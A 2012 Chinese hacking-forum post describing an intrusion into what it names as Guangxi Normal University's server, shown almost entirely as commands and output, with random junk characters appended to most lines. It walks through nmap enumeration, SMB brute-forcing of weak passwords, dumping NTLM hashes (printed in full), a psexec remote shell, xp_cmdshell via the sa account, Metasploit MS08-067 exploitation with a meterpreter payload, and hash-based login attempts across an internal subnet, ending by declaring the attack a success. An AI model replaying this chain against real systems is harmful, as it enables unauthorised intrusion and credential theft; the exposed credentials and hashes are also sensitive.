中国网络渗透测试联盟

标题: nmap+msf入侵广西师范 [打印本页]

作者: admin    时间: 2012-12-4 12:46
标题: nmap+msf入侵广西师范
广西师范网站http://202.103.242.241/3 O8 G/ x. \" T

$ F! B  ^& j- O1 k5 N" Hroot@bt:~# nmap -sS -sV 202.103.242.241
( R% m: N0 m3 y' V/ ?. w$ ~6 R+ J2 ?2 _; n
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST) @- q0 \' z- R) f/ @5 y$ j

7 L9 i; a* h: I7 |& h5 b1 zNmap scan report for bogon (202.103.242.241)
5 Q) r& d, ^/ x$ ~5 Q
5 B4 y: U- c" z: pHost is up (0.00048s latency).
, N' v; J2 }7 W8 O7 E/ I  U5 P, ~+ `! V$ Q) ^% l
Not shown: 993 closed ports% r8 M" B% x( s1 B3 h

( g, f  B! F! Z. N) _PORT     STATE SERVICE       VERSION2 s6 U' v* o  _3 B
* c" X9 Q" N& F7 O
135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)6 M1 `( c2 @: v% S. e
  x. r( u: x3 M
139/tcp  open  netbios-ssn
) t6 G# F8 x) k; @
" N+ q, y+ U+ ?$ Y( D# p445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds
/ Y8 Y5 C, |8 i( c7 R& T  n1 |/ O3 a
1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
! O5 s# d. Y/ g2 Y, a
  H. H' ~9 U# t) j9 ^1 X, T1026/tcp open  msrpc         Microsoft Windows RPC' y6 Y" @: N! |9 ]5 C) k
0 u. N1 b+ @; }9 H9 K
3372/tcp open  msdtc?
( H" S2 Q3 z- t5 j) r3 F" q
& v/ s6 \4 B1 |/ r  K  \3389/tcp open  ms-term-serv?
9 v: J- [1 M( k) m6 ?  O; e( E2 h7 T5 J' U& D- X" J
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :/ M2 u4 ^/ C9 K2 ^& t  H
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r& }" j$ i2 Y$ q1 U! U
1 r3 r& L& ~; b
SFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions! l4 u' s: x* S' f& |* T
+ V" W4 r- n9 \- _5 Z
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)4 Q4 ]. j% g( k& Z8 e
9 A5 P4 v' b9 M6 d3 F7 M
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO* ^+ l3 w- ^$ t9 F. X- M, e4 N/ y

1 \2 _7 l4 G- ~& ySF:ptions,6,”hO\n\x000Z”);
7 `! |# N; s( T& i* `6 \8 z% |! g3 m) |4 q7 j3 k
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)2 W6 J1 m( w) U( ~

& y# |" U1 l5 e2 J9 p; @  ^Service Info: OS: Windows( }" A0 H( q) e' a
6 K( ^, d8 ~& T- `6 j4 f& f. R* f
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .0 W0 E0 P( c6 W( H9 ]) `

5 Y2 v/ D9 [( BNmap done: 1 IP address (1 host up) scanned in 79.12 seconds
& Z5 b3 E( f* s) M/ E) a  X2 u
3 j$ Q" j2 x5 H% Z% N3 Kroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本5 z; O3 H* r8 C* r

  w7 v# Q2 |2 B7 q-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse/ ?4 Q3 y5 E6 K- d
5 g! y8 M- b! _/ S% _6 _4 U7 r
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse0 P1 X- g9 u( o, Y/ H
  ^: U, k7 I1 I9 J1 {
-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse& M6 X- u" N, l6 d
3 Q* U* P! E: A9 P4 X3 l
-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse
6 ^/ g. M5 }# \; F! q6 ?/ ~0 p, q! Z: ]
-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse
) o( Y: F3 I9 M; K$ j9 Z: [  k* Y* \# Z' R' n
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
% _3 K" G$ Y0 R, P
% @5 o6 W& T- F-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse1 U/ v# U% Q& i4 z$ q; y  w

8 a: a& z  d( q5 N) f7 E$ k-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
4 v0 |: M3 Z6 ^& A, b7 v4 t! `8 E7 \5 k0 ^3 a. ~- d/ n
-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse
6 F, q6 [. f" G7 m# U+ H" G$ j% J$ }- H8 E
-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse9 j7 Z4 z) u1 H7 j5 R
! S0 B  d# F2 [0 P- N% n4 y
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
6 C6 ?' X" ?8 |+ P; D% M( N3 t9 g/ o6 C6 J0 w
-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse8 [+ w" o( b* g" @: v+ t: E/ b

$ s+ n- d8 X" Y/ P-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse
! L1 |) W/ r0 Y, W+ G8 @" A# N9 z; j* m  g0 E$ A. F, x
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse# e  n' P  j2 j) r
; P. X% [" W$ p1 a0 K$ [
-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse  z8 A6 }  ~5 ?% F

6 b( `# t1 j2 N/ _) a" w) b0 I1 t/ `root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   $ \- Z2 Z& N9 h6 o1 j
: y+ y7 c1 b; @3 u
//此乃使用脚本扫描远程机器所存在的账户名
( }8 P0 l  m% E2 x+ q( s8 A+ _* Y* ]
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST5 C6 a# M3 N$ `6 g

  U) r9 E1 Q7 n& i6 QNmap scan report for bogon (202.103.242.241)+ i3 H+ @! J: V% G
. V5 @, `9 V$ b) m! M% O
Host is up (0.00038s latency).
" A( J+ t" u0 s9 b5 Y( p0 }
% p( g6 M) p0 LNot shown: 993 closed ports: D1 Z  i7 d) \9 i

$ F: _+ z( K8 uPORT     STATE SERVICE. _3 t; r8 M: F8 ^3 D- L

: u9 R3 ?5 v+ ?  k0 b135/tcp  open  msrpc
# e5 g5 r; H; J  ^6 T9 [' ]4 |+ B/ `2 Z) O
139/tcp  open  netbios-ssn
2 G! H% Z* Y2 _1 ^) p
$ H  f/ Z/ ~, h" J; x445/tcp  open  microsoft-ds
  f% A" t8 s+ K1 W+ F+ ^3 f5 G* n, V6 f4 \  N
1025/tcp open  NFS-or-IIS5 G* m5 A+ y3 p
) _+ L) B# S" e0 J/ I' X( ?5 L+ E( Z/ N
1026/tcp open  LSA-or-nterm
' M$ Z% q5 r. G% h% o4 [' Y  o0 D/ w+ f" Q+ U2 a+ c0 l# [/ k
3372/tcp open  msdtc
2 t" W" N* H! ^" }- o+ s- i/ Q5 d1 ?7 H
3389/tcp open  ms-term-serv
3 c4 C$ F1 q& D# \8 J; C
8 n1 J& L2 s) L" U  LMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)( V# `7 t7 b& R" {  r

- x, M5 ~* a' bHost script results:! C4 r2 f' v$ i8 z- G
$ s5 a1 u8 a# F1 C/ p( L0 H% w
| smb-enum-users:
( x  u# M* T2 b0 n
6 R$ }1 n& e( w" i) E2 O/ x+ f|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果4 Z) @6 e( |( c
- Y, S' L1 ^9 n4 l* E/ x
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
+ T+ O# R6 C) j" e( T
: f: q& i( }! B; d7 q7 S2 n( Kroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
  d) G& d- j3 J% L0 d. d3 D5 q6 ]0 E$ `) _
//查看共享
% c  C6 @: i/ `# b
$ t# V5 N0 s" w: yStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
- I4 r, `& Q+ k* b/ M( O+ d' A2 G
9 s( ?& i: a8 ANmap scan report for bogon (202.103.242.241)! l0 Q" q' x" w1 Q  J

8 q$ ~9 ?- U$ [6 \  eHost is up (0.00035s latency).
  x5 ]/ ?% e* W9 I# T$ l0 ^( f, z* C+ K% y$ v
Not shown: 993 closed ports. G1 S' n9 T) e  I! t
8 H/ I0 Z! g# a( b# b) R5 g8 H
PORT     STATE SERVICE
# Y/ F3 F7 |! @% X: T5 O# ?$ ]8 l+ r! u2 p/ J
135/tcp  open  msrpc" o* @3 F5 H: n2 k
2 Q- l2 X: J4 T! N1 ]$ V
139/tcp  open  netbios-ssn
+ d" ~5 V5 o7 N% c# f5 W! d
% n4 T8 R5 I  P6 t) p( o1 e( t445/tcp  open  microsoft-ds
7 a, p$ T1 ]% [9 t5 M
- t/ V1 ?7 _' `) t1025/tcp open  NFS-or-IIS+ P1 i) C5 W1 n2 b3 ]( w+ B

1 o6 X1 l8 w# ]6 [% z! w$ u7 _1026/tcp open  LSA-or-nterm3 e( @: x: J- S+ z' F3 p" t4 R
2 j- E. X( p% ?# w
3372/tcp open  msdtc& u7 K' t+ [! C, P; ^+ |5 x
" e" o; Z5 ?+ y
3389/tcp open  ms-term-serv
$ ^2 S& t1 n' w5 U* N- i$ @4 s1 b4 D1 n' |
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
5 g: ^3 J% Q+ o: Q3 a- }2 S. x1 Y2 T
Host script results:1 f( X2 _& d) V1 W; @' a# H

2 i/ \4 _5 C8 U* F: Z6 I3 H2 q) `$ ?| smb-enum-shares:8 |! `% |, o; _3 ?4 T
* L% E+ O, L( o' E6 H
|   ADMIN$7 d5 b3 u' ^9 W6 k3 [: |% C
# @2 L" B* X% u7 z3 ^/ c
|     Anonymous access: <none>
9 i+ R; |, W) t/ p( O4 X( U# X, ?# W" m  S8 I& s
|   C$$ j# E( m. h0 I! s5 C

7 {# ^; g6 m" b! P|     Anonymous access: <none>
; h' A2 H( a% J3 U0 M  Q: D# W8 o  m- {& @' z* c* Q* j3 J
|   IPC$
$ K8 Z' h8 G2 i. U" e( {( d2 r4 H1 M1 x, j& e$ t: ?
|_    Anonymous access: READ) t/ G+ t& R7 A3 C& S" T' A
1 O" a. Q1 ?, G7 u- f: z9 ^
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds# \* m7 }$ W4 a( E3 ~$ f; `
- l( E: U; i+ F2 l& m; [6 P
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241       . l- c& B; c! E+ u

  U0 E) k. r! C/ G//获取用户密码7 Z  A' E! b( \% q9 i" {
/ |- c' y8 H, W' `6 m
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
  A/ ]4 k' j; p% }9 H4 d# ?: `0 v- `& w" n& D: ?
Nmap scan report for bogon (202.103.242.2418). C0 }$ u! M$ q0 \. C' D" |
" t! {/ K' c# P' Y: E- c% A& `
Host is up (0.00041s latency)." {% y& g3 ]" r
4 L, z. Q5 |+ N) ^, m* i& d
Not shown: 993 closed ports9 U, b  M) q) ]; z
! m8 I  I. V% @7 x: P! o
PORT     STATE SERVICE/ K1 j* W1 W( v+ i3 n
$ H8 Q* |% ^% W% O
135/tcp  open  msrpc! F& C+ k% `% C3 q: M4 f" X8 B; x

) w' _5 B) g- u6 l& d& B' u$ s139/tcp  open  netbios-ssn
7 D+ M# ~, L+ _3 L+ x( m+ N4 U: B4 }& s& r
445/tcp  open  microsoft-ds7 M4 }3 d/ m. v2 o9 d
" e# I) I  B! k$ P
1025/tcp open  NFS-or-IIS
& ]! d+ b% F) ^+ A/ v( E! I& X# [0 L8 w2 I# j
1026/tcp open  LSA-or-nterm
& S2 f- B& q; c* i. j: }  E. }1 k. \6 d0 x
3372/tcp open  msdtc/ ]$ `6 }# Q- ]* i/ R  H

: c" o+ ]7 _7 U) |- T/ z: U  t3389/tcp open  ms-term-serv
7 s  k$ y2 g' l: R/ }6 T; y3 o- H2 e
, `( b- B, e# s; s4 `  i- DMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)0 E& O, U; j' X+ Q2 M% l1 ^, \
* Z# y/ L4 g2 E. r" M4 a
Host script results:
& V" @8 c% x& t8 m7 |1 b. J# y
5 j3 s, C$ V2 \8 [( B7 a. K1 B| smb-brute:6 b" k, t& m6 |- p, B

5 ?+ F. N. _. u& qadministrator:<blank> => Login was successful
; F! R+ l$ D. s! a" h* N; j" C: T" w- R( [. a$ T- Q
|_  test:123456 => Login was successful
. x! W+ H  T/ e3 a0 Z# t' O
2 Z4 h' [2 Q' ^6 k% M2 [Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds0 B  ~) }3 \, I- Y1 p# V0 q2 a$ B
' F* i7 c. r7 o6 F
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
  k7 E# h: \- p3 H) z  r
7 a4 x9 L$ g9 z1 Aroot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data' v! X$ V* B- q1 }; `. y& V3 P
: V1 X7 q6 ]8 j, j4 M
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
; T+ P6 Q; [* R; Z# v. G' {9 }3 c) r7 i% R
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
- \$ {4 A- v+ o5 t; w0 U3 f6 F5 _3 @( ]$ E) c7 r" i' W" v
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST6 G& j( S/ _& W& i" p3 s, X

; O$ c3 c# }% n3 s& b9 a; q' ~Nmap scan report for bogon (202.103.242.241)) B9 J; J" M5 W7 i9 c/ r

9 ~6 J+ D6 O/ QHost is up (0.0012s latency).
$ `# @  j) |8 C! z* T1 y5 I/ R& K5 i4 `- w- r
PORT    STATE SERVICE' h" r4 g: I! a3 Y, e8 O

2 u$ M& Q4 C" [% \( D, j135/tcp open  msrpc
* N3 l) s- G; P$ ~4 `- X
0 S. R) `; S/ Q8 a, h( O; D3 L139/tcp open  netbios-ssn! x3 _/ R  ^9 H) b1 Y2 N$ f

- j" j: p" A' E3 D445/tcp open  microsoft-ds
  l( Z/ i! C' a* [* B2 b
9 H, Z! f" w9 a, I0 ^MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems). s- _1 |  r8 O! x- H2 ]
- t' ]7 k3 b. R8 g4 d
Host script results:) y# {2 _; ~, l4 q/ ^& z

/ t$ ]7 q5 x1 z| smb-pwdump:. X' _4 @4 \  i% V
- I1 `& l, V( z9 i
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************2 c$ s+ Y& J; n/ \( a  a$ \& l

5 p1 ]& F2 a7 k+ e5 V% Z0 I2 e. e| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************. F+ M, A) F8 z2 @0 G

6 M2 w/ m& q0 F& h3 P| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
% [# R* p9 E0 u! D% h8 M" s# h" P3 @' W; T
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2; H3 H8 `+ L( t
. A( z+ a5 G7 ]
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
& b8 I; S, c; q: q  Z/ A! r( D2 r4 X' t# O" y! @( ~2 P
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell
0 T: X8 x( ]+ Y# m+ q0 {, _. l/ K/ L
-p 123456 -e cmd.exe
. r" f) K# C6 A# R) M5 G! Z
1 R9 z4 Y' H' s7 _! FPsExec v1.55 – Execute processes remotely
' N7 x2 B' g: i1 L. G' i4 b0 n. V* q5 l' ^, s
Copyright (C) 2001-2004 Mark Russinovich& N$ ^5 B. P2 g; W) y
  ^; X, m( E! U' |
Sysinternals – www.sysinternals.com
, A% }4 Q$ O! u) f" y) @+ P* N) I' \2 P1 F
Microsoft Windows 2000 [Version 5.00.2195]8 a' G- L$ a3 ^/ U3 K* w& m9 ?2 G
( Z/ _$ c7 `+ x! y* c
(C) 版权所有 1985-2000 Microsoft Corp.- O: i' ~) S4 F6 r: n1 i
2 D- _% j- u% L5 D
C:\WINNT\system32>ipconfig
* ?3 b8 F+ e  l/ P* `# i9 H! B9 \, B9 |, c: ?# s
Windows 2000 IP Configuration
4 y- @* `# H: G. X* a# z9 B& \' {4 _% E$ E+ T6 Y7 z- D% y
Ethernet adapter 本地连接:
4 v3 z$ M' p: M( i+ c& K8 u
6 t6 D$ T4 ]/ X8 w+ r: m/ gConnection-specific DNS Suffix  . :  S. h0 @) R+ j: }" @9 Y9 W* A
$ s$ B2 ?% D5 t8 J
IP Address. . . . . . . . . . . . : 202.103.242.241
/ _  [9 b+ D0 T$ k4 E, i; r8 c7 B9 N1 j
Subnet Mask . . . . . . . . . . . : 255.255.255.0
2 Z& P* X: s7 o( U  _
; c5 E. |; F5 y$ z4 U4 _* O  eDefault Gateway . . . . . . . . . : 202.103.1.1
- f* X1 S3 q- o! k5 o5 a
7 R# I% C  X6 M+ [+ u, LC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell 'net user' “   //远程登录sa执行命令3 t1 k3 d; Q4 z7 ~" b$ n
; I; V+ j- a4 M; E1 H" |. K' |' l
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞
' f- A% R/ P3 T$ O9 J
$ M% k7 s9 [- T+ W. ZStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
+ _# B  U3 d  v5 S2 b" w) G! s& ~/ X: m
Nmap scan report for bogon (202.103.242.241)
# [& J* Q4 J7 n% m: o. E' U% s7 n6 I$ w' e
Host is up (0.00046s latency).
0 M# A, r5 H& D* y: m+ O# b
; l. M1 b* e* b$ w3 O5 W6 |Not shown: 993 closed ports, P" F, Q7 D' }( N6 N& L: P

9 @# z9 K, Q. w$ ?3 A8 v" @PORT     STATE SERVICE; k* V  |; t) e0 Z# B

2 ?2 w5 y- B  Y" V135/tcp  open  msrpc
2 T- E, x- T! d( z. Z1 q
( N/ P2 b9 x* i# _5 d139/tcp  open  netbios-ssn+ n9 q' h) H/ ]3 y  N
. W, v# B6 T) v3 W
445/tcp  open  microsoft-ds0 `$ G) {8 d, L3 q  F$ {8 j

& S# U& l1 y! H8 K3 _6 w7 t1025/tcp open  NFS-or-IIS
+ B+ c3 Y' F8 P+ Y/ U$ W) K+ @: m) J/ G# z& X
1026/tcp open  LSA-or-nterm7 q4 V9 s. v) a+ J
/ a4 [- W) m5 _& J: D0 Z2 Y) ]
3372/tcp open  msdtc
/ X" I% O; K% K/ s2 }  q1 ]( p- P! F2 K
3389/tcp open  ms-term-serv
/ H$ [, T( c  @1 R
9 Q8 v4 q$ c1 ]5 ]- YMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
2 v+ F( [3 z1 C6 A) [
' H2 u+ P( `% C& P4 uHost script results:3 `6 {  F* Q2 K2 k. _6 w/ ]

/ d& k7 C& U7 T4 a. B: b| smb-check-vulns:9 [7 H+ y6 g9 A5 }3 V" B

& O, R! t" V# M) f7 Y9 N& n& Z+ M|_  MS08-067: VULNERABLE9 L6 Z' J  ?2 Q) ^! {' r2 P
* U# [& m6 i! \& w" q
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
0 _) f! e# D' y! x* U3 u$ D$ y! e
+ X/ Z) ^3 l  Z8 t( U' oroot@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出
+ t  ^, Z3 m( i2 e
) c1 g( v% T) x! z1 ?/ hmsf > search ms08
) n8 I7 c5 v8 {$ ]( f) b7 L( I, t& S0 M8 _' w- b% C/ q
msf > use exploit/windows/smb/ms08_067_netapi
. X. b* p2 c2 u* w% k6 T* h8 f# T6 i& P* X
msf  exploit(ms08_067_netapi) > show options
/ D7 t, O3 q# I! x& b. y- }# M% `( ]  E7 Q- c
msf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241
3 F/ n; P7 R3 I0 @" \' C2 n1 c0 W$ x& P' j1 F. v
msf  exploit(ms08_067_netapi) > show payloads
+ m6 b2 C; h. V6 G$ a" q3 M( w( y
: h; W4 z% {8 _1 g) N0 g4 Ymsf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
$ G4 B7 h8 s, N* {& S, E; Y1 ]3 H; s3 G% q
msf  exploit(ms08_067_netapi) > exploit! S" G# k3 D1 s
- ?. _5 R- [# U# H) m- `
meterpreter >+ B8 W6 ?& ^7 Z9 M

7 b3 R5 H/ W; T3 l9 }Background session 2? [y/N]  (ctrl+z)& i' E8 l6 Z3 e" z) u

9 {$ ^' R  v5 Z5 Y7 s( qmsf  exploit(ms08_067_netapi) > sessions -l! t+ E4 c/ b) H1 _8 y
) w8 @" A/ y/ [
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt8 C) R0 {! F( ]$ w# h+ x6 x
9 J" E& x2 u6 v2 g
test
* K0 \* G! I4 I$ b) @
4 \, `( L8 y' N' r0 Uadministrator7 Z% Z) _2 @% L
1 N" N& x  Y1 ~+ g7 y; N
root@bt:/usr/local/share/nmap/scripts# vim password.txt7 W7 n0 K& L$ O. V2 N4 X7 ^" K
# t7 Y3 d& _- m2 i9 \1 x
44EFCE164AB921CAAAD3B435B51404EE  n" p* t4 j4 F
) b2 Z* ~7 ~' G' n9 }+ d
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 & p9 C5 x/ d% ~# b  o3 k

  `0 O2 u; t5 I2 d //利用用户名跟获取的hash尝试对整段内网进行登录% Z% ?+ H+ X/ ?

7 N+ h- l& [; w, X5 U7 ]Nmap scan report for 192.168.1.1059 \! ~2 C' s' Y3 D; y5 a# L

2 {+ |+ `  W6 b( {) N/ ~7 k+ ]  NHost is up (0.00088s latency).6 h: b# ~5 i4 {2 u3 S) K

7 `( z7 J8 P, x3 {, y6 ]- q9 _Not shown: 993 closed ports: H! e& c2 N: x' E$ N
  E- {; u/ x2 s' e5 V
PORT     STATE SERVICE9 z  Q9 }& H9 Z
1 k- z/ v' }/ ]6 d" A# |- o
135/tcp  open  msrpc
5 M9 z7 A7 V) p8 W8 e4 c/ ?4 R; N( D0 Y1 `1 Z
139/tcp  open  netbios-ssn& O: x8 G' k* v4 a7 m

: P0 x( [% ?2 ^4 d  p! z5 b' t. K445/tcp  open  microsoft-ds# w8 y+ ]8 W5 y* O0 U% i" O
' b& Q7 {- h7 L' [4 H
1025/tcp open  NFS-or-IIS
% k5 F* R8 P4 f* [* T# D4 D: v: j+ `& d
1026/tcp open  LSA-or-nterm( W5 E. b+ g4 m4 |0 S8 T

  S: b+ ~8 o6 F6 |, Z" D% L3372/tcp open  msdtc. C! d* S6 \2 ?% L$ x

# J% U7 C) Q/ g& b, r5 F3389/tcp open  ms-term-serv1 V8 u1 v( h2 f
; f  ^1 J( |( c& e/ s( t  P
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)3 P+ h0 w$ b( M. Z8 [
0 f9 [2 `) o4 d5 j
Host script results:
/ A( Z6 e( h0 t- c' g8 ]3 ^% z  X  u2 H4 k9 e; x' M
| smb-brute:: ]2 C6 T6 R* F2 |

/ X( i  k4 ^" a; n5 |$ @/ u|_  administrator:<blank> => Login was successful
! K: x( D+ C  @2 `- }( e8 |
  [3 j: r2 s3 X( w8 N/ X攻击成功,一个简单的msf+nmap攻击~~·
7 q/ _) A$ U# C7 a# L' W/ ~) ]' u6 o; a





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2